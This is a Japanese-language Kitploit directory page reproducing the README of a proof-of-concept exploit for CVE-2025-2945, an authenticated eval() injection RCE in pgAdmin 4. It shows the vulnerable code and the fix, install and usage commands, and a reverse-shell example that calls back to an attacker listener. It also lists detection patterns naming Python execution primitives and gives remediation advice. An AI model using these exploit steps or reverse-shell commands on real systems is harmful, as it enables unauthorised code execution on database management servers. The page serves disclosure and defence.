Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-2945-pgAdmin-RCE — # CVE-2025-2945 のPoC — pgAdmin 4 認証済み eval() インジェクション RCE、CVSS 9.9 | Kitploit
ツール/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

# CVE-2025-2945 のPoC — pgAdmin 4 認証済み eval() インジェクション RCE、CVSS 9.9

リポジトリを見る
921日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-2945 — pgAdmin 4 認証済みクエリツール RCE

CVSS 3.1: 9.9(Critical) · 影響を受けるバージョン: pgAdmin 4 8.10 – 9.1 · 修正バージョン: 9.2(2025年4月4日) CWE-95(動的評価コードにおけるディレクティブの不適切な無害化 / Eval インジェクション)

CVE-2025-2945 の概念実証エクスプロイトです。pgAdmin 4 のクエリツールにおける認証済みリモートコード実行の脆弱性です。ブール型のトランザクション状態フラグ(query_commited)がブール値として解析される代わりに Python の eval() に直接渡されるため、認証済みユーザーが pgAdmin サービスプロセスの権限で任意の Python コード — さらには任意の OS コマンド — を実行できます。同じアンチパターンが Cloud Deployment モジュールの Google プロバイダー(high_availability)にも2回目の存在として含まれています。

根本原因、エクスプロイトのロジック、検出の指針、および修復策を網羅した完全な技術解説はこちらで公開しています: khashayarnazarkardeh.com — Field Notes


脆弱性の概要

脆弱なコード(web/pgadmin/tools/sqleditor/__init__.py):

root@kitploit:~
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

(pgAdmin 9.2+):

修正されたコード
root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

この脆弱性を悪用するには、認証済みの pgAdmin セッションと、対象アカウントにすでに登録されているデータベースサーバーにバインドされたクエリツールのトランザクションが必要です。どちらも実際のデプロイ環境では一般的な前提条件であり、pgAdmin は通常、1つ以上の保存済みサーバー接続があらかじめ設定されています。

要件

  • Python 3.8+
  • 有効な pgAdmin Web アカウント(--username / --password)
  • その pgAdmin アカウントにすでに登録されているデータベースサーバーの認証情報(--db-user / --db-password / --db-name)
  • 対象が pgAdmin 4 の 8.10 から 9.1(両端を含む)を実行していること

インストール

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

使用方法

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <target> --port 80 \
    --username <pgadmin-email> --password <pgadmin-password> \
    --db-user <db-user> --db-password <db-password> --db-name <db-name> \
    --cmd id

ペイロードモード(いずれかを選択)

フラグ説明
--cmd COMMANDos.system() 経由で単一の OS コマンドを実行
--reverse-shell HOST:PORT自分が制御するリスナーへの名前付きパイプリバースシェルを起動
--raw-payload EXPR生の Python 式を脆弱な eval() シンクに直接渡す

例 — リバースシェル

root@kitploit:~
# 攻撃ホスト側で、別のターミナルで実行:
nc -lvnp 4444

# エクスプロイトを実行:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

全オプション

root@kitploit:~
python3 CVE-2025-2945.py --help

検出

防御側は以下を監視すべきです:

  • /sqleditor/query_tool/download/<trans_id> または /cloud/deploy への POST リクエストで、query_commited / high_availability がリテラルの "true"、"false"、"1"、"0" 以外の値である場合。
  • いずれかのパラメータに Python 実行プリミティブ(__import__、os.system、subprocess、eval、exec、open()が出現する場合。
  • pgAdmin サービスアカウントから生成された予期しない子プロセス、特にシェルインタープリタやネットワークユーティリティ。

修復

pgAdmin 4 9.2 以降にアップグレードしてください。このパッチは最小限で低リスクのブール値強制変換の修正です。即時のパッチ適用が不可能な場合は、pgAdmin へのネットワークアクセスを信頼できる認証済みネットワークに制限し、不要なアカウントでは Cloud Deployment モジュールを無効にしてください。

参考情報

  • NVD — CVE-2025-2945
  • GitHub Security Advisory — GHSA-g73c-fw68-pwx3
  • pgAdmin issue #8603
  • 修正コミット — 75be0bc

著者

Khashayar Nazarkardeh — サイバーセキュリティ & AI セキュリティリーダー khashayarnazarkardeh.com · @Khashayarnzk

免責事項

このツールは、許可されたセキュリティテスト、研究、および教育目的のみで提供されています。システム所有者からの明示的かつ文書化された許可なしに本ツールをいかなるシステムに対して実行することは、ほとんどの法域で違法です。著者は本ソフトウェアの誤用について一切の責任を負いません。本スクリプトを使用することで、対象をテストする許可を得ていることを確認する責任は利用者自身にあることに同意したものとみなされます。

ツールをダウンロード